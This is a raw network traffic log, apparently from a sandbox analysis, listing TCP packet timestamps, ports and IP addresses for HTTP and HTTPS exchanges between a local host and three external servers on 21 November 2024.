Nov 21, 2024 03:09:23.480899096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.480942965 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.481543064 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.481720924 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.481873989 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.481923103 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.482059956 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.482088089 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.482099056 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.482623100 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.482791901 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.482844114 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.483584881 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.483597040 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.483656883 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.484363079 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.484471083 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.484771967 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.485265970 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.485435009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.485564947 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.485583067 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.485634089 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.485635996 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.486371994 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.486521959 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.486582041 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.487159014 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.487292051 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.487338066 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.488176107 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.488188028 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.488229036 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.488954067 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.489090919 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.489197969 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.489921093 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.490081072 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.490134954 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.490695953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.490829945 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.490885973 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.491692066 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.491841078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.491873980 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.492476940 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.492702007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.492748976 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.494606972 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.535384893 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.535882950 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.535917044 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.536335945 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.536340952 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.559171915 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.559237957 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.559326887 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.559379101 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.560517073 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.560561895 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.560623884 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.560667992 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.563122988 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.563169003 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.563239098 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.563282013 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.565732956 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.565798998 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.565829992 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.565874100 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.568372965 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.568471909 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.568517923 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.570974112 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.571022034 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.571085930 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.571129084 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.573472023 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.573519945 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.573553085 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.573589087 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.575995922 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.576061964 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.576065063 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.576122046 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.578447104 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.578520060 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.578550100 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.578617096 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.580889940 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.580965042 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.580974102 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.581039906 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.583350897 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.583420992 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.583488941 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.583530903 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.585704088 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.585768938 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.585798025 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.585841894 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.588040113 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.588099957 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.588108063 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.588149071 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.588268042 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.588391066 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.588726997 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.588789940 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.588799953 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.588845015 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.589437962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.589589119 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.589627981 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.590353966 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.590424061 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.590434074 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.590442896 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.590471029 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.590497017 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.590497017 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.592709064 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.592762947 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.592802048 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.592848063 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.595017910 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.595110893 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.595127106 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.595155954 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.597258091 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.597311020 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.597376108 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.597415924 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.599512100 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.599571943 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.599598885 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.599654913 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.601742029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.601843119 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.601891994 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.603956938 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.604068995 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.604130983 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.606144905 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.606235981 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.606307030 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.608309031 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.608364105 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.608417988 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.609639883 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.610476017 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.610577106 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.610625029 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.612612963 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.612715960 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.612742901 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.612787962 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.614804983 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.614856005 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.614891052 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.614964008 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.615008116 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.616924047 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.617013931 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.617042065 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.617091894 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.618074894 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.618140936 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.618202925 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.618218899 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.618227959 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.618233919 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.619086027 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.619129896 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.619158983 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.619203091 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.620801926 CET	49848	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.620845079 CET	443	49848	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.621232033 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.621320009 CET	49848	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.621344090 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.621376991 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.621392965 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.621503115 CET	49848	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.621520996 CET	443	49848	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.623325109 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.623430014 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.623481035 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.625439882 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.625601053 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.625652075 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.627631903 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.627768040 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.627820015 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.629774094 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.629915953 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.629966974 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.631907940 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.631959915 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.632002115 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.633682013 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.634071112 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.634118080 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.634146929 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.636173964 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.636221886 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.636282921 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.637671947 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.638339043 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.638420105 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.638468027 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.640460014 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.640563011 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.640618086 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.642587900 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.642702103 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.642755985 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.644751072 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.644803047 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.644839048 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.645677090 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.646893978 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.646945953 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.646986008 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.647026062 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.649002075 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.649054050 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.649096966 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.649143934 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.649573088 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.649686098 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.650053024 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.650135040 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.650166988 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.650208950 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.650959015 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.651032925 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.651160955 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.651206017 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.651242971 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.651272058 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.651283026 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.651871920 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.651990891 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.652033091 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.652766943 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.652815104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.653283119 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.653332949 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.653398037 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.653426886 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.653438091 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.653723001 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.653809071 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.653857946 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.654573917 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.654700041 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.654922009 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.655431986 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.655486107 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.655498028 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.655515909 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.655555010 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.655592918 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.655647993 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.656397104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.656516075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.656611919 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.657320976 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.657423019 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.657465935 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.657562017 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.657613039 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.657646894 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.657732010 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.658225060 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.658345938 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.658438921 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.659158945 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.659266949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.659363985 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.659708977 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.659761906 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.659813881 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.659972906 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.660033941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.660157919 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.660204887 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.660970926 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.661065102 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.661158085 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.661921978 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.661938906 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.661956072 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.661982059 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.661993980 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.662000895 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.662156105 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.662780046 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.662889957 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.662938118 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.663713932 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.663831949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.663965940 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.664010048 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.664100885 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.664132118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.664141893 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.664599895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.664732933 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.664773941 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.665503979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.665581942 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.665668011 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.666142941 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.666193962 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.666318893 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.666435003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.666484118 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.666558981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.667222977 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.667326927 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.667457104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.667503119 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.668250084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.668315887 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.668333054 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.668359995 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.668380976 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.668387890 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.668431044 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.669156075 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.669254065 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.669296980 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.670068979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.670193911 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.670241117 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.670373917 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.670423031 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.671005011 CET	80	49841	34.116.198.130	192.168.2.5
